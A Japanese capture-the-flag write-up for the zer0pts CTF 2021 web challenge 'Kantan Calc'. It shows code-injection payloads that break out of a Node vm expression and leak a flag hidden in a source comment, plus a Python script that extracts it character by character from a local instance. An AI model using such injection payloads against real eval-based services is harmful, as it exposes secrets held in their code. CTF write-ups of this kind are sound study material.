-
-
Published
Linked with GitHub
# Kantan Calc - zer0pts CTF 2021
###### tags: `zer0pts CTF 2021` `web`
## 概要
電卓アプリのソースコードが渡される。
```javascript=
if (code && code.length < 30) {
try {
const result = vm.runInNewContext(`'use strict'; (function () { return ${code}; /* ${FLAG} */ })()`, {}, { timeout: 100 });
output = result + '';
if (output.includes('zer0pts')) {
output = 'Error: please do not exfiltrate the flag';
}
} catch (e) {
output = 'Error: error occurred';
}
} else {
output = 'Error: invalid code';
}
```
明らかに
```javascript
vm.runInNewContext(`'use strict'; (function () { return ${code}; /* ${FLAG} */ })()`, {}, { timeout: 100 });
```
がやばそう。フラグはコメントアウトされているので、それを出力してやれば良い。
## 解法
理想的には呼び出された関数の`toString()`を与えれば良い。
ここでまず問題になるのが、出力に`zer0pts`が入ってはいけないという点。これに関しては`btoa`とかで~~何とかなると思う。~~ nodejsに`btoa`はありませんでした。
次に問題なのが、無名関数の`toString`をどう取得するかという点。JS Fuzzerを書いてるので偶然知っていたが、これは`arguments`の`callee`を参照すれば良い。
そこでひとまず `arguments.callee.toString()` を送ってみるが、
```
Error: error occurred
```
となる :thinking_face:
手元で試すと
```
$ node ./test.js
evalmachine.<anonymous>:1
'use strict'; (function () { return arguments.callee; /* zer0pts{hello, world} */ })()
^
TypeError: 'caller', 'callee', and 'arguments' properties may not be accessed on strict mode functions or the arguments objects for calls to them
```
:face_with_open_mouth_vomiting:
とりあえず参照できるもののうち使えそうなものを列挙する。
- eval
- console
consoleは出力関係しかなさそう。evalだが、そういえばSECCONのsandbox問に関連してmoraさんが何かjsのevalのスコープが明示的に呼ぶかどうかで変わる的な話をしていたことを思い出した。
`eval`のスコープは何も指定しなければ通常その関数のスコープと同じだが、**変数に代入してから呼び出すとスコープは外側になる**。
この仕様を利用すると、怒られることなくcallerやcalleeにアクセスできる。
```javascript
code = `(() => {
let a = eval;
let b = a('(function() { return arguments.callee.caller; })');
return b();
})()`;
const result = vm.runInNewContext(`'use strict'; (function () { return ${code}; /* ${FLAG} */ })()`, {}, { timeout: 100 });
```
実行結果
```
$ node test.js
null
```
は?
> 厳格モード、非同期関数、ジェネレーター関数の呼び出し元についても null を返します。
:face_vomiting:
そもそもこの方法だと`arguments.callee.caller.arguments`の段階で怒られる気がする。
そしてこの方法だと30文字に収まらないんだよなぁ・・・
## 真の解法
ここでst98さんからヒントが貰えるので飛びつく。
> フラグ部分を別の関数にするのが第一歩
これでもしばらく迷ったが、今まで「無名関数の名前が分からないからtoStringできない→arguments.calleeが欲しかった」ということを思い出した。
つまり、関数名が定義された関数であれば`f.toString()`のようにソースコードをリークできる!
したがって、次の28文字の文字列でソースコードがリークできるのでした...めでたしめでたし
```
});(function a(){return a+''
```
ではなくて
```javascript
if (output.includes('zer0pts')) {
output = 'Error: please do not exfiltrate the flag';
}
```
これを回避する必要がある。
異なる型の加算が文字列になることと、アロー関数を利用すれば
```
});var a;(a=b=>{return a+1
```
26文字になった。
use strictのせいで `var a`が必要となっている :angry:
というか外側でstringになるから+1はいらない。24文字。
```
});var a;(a=b=>{return a
```
1文字を取るならこれで30文字。限界感がある。
```
});var a;(a=b=>{return(a+1)[0]
```
最終的にたどり着いた結論がこれ。既存で書き換え可能な変数を利用すれば良い。
```
});(Set=b=>{return(Set+1)[XX]
```
これで1文字ずつリークする。
```python
import requests
import re
code = ""
c = 26
while True:
exploit = "});(Set=b=>{return(Set+1)[" + str(c) + "]"
r = requests.get("http://localhost:8002/", params={'code': exploit})
x = re.findall("<output>(.)</output>", r.text)
code += x[0]
print(code)
c += 1
```
# おまけ
solve.pyを解放
```python
r = requests.get(URL + '?code=b=>[...arguments[0]%2b0]})(a=>{')
```
ん〜〜〜??? :exploding_head: :exploding_head: :exploding_head:
# 感想・意見
- Kantan...?
- mediumくらいだと思う
- 結構探したけど「簡単」になる解法は見つかりませんでした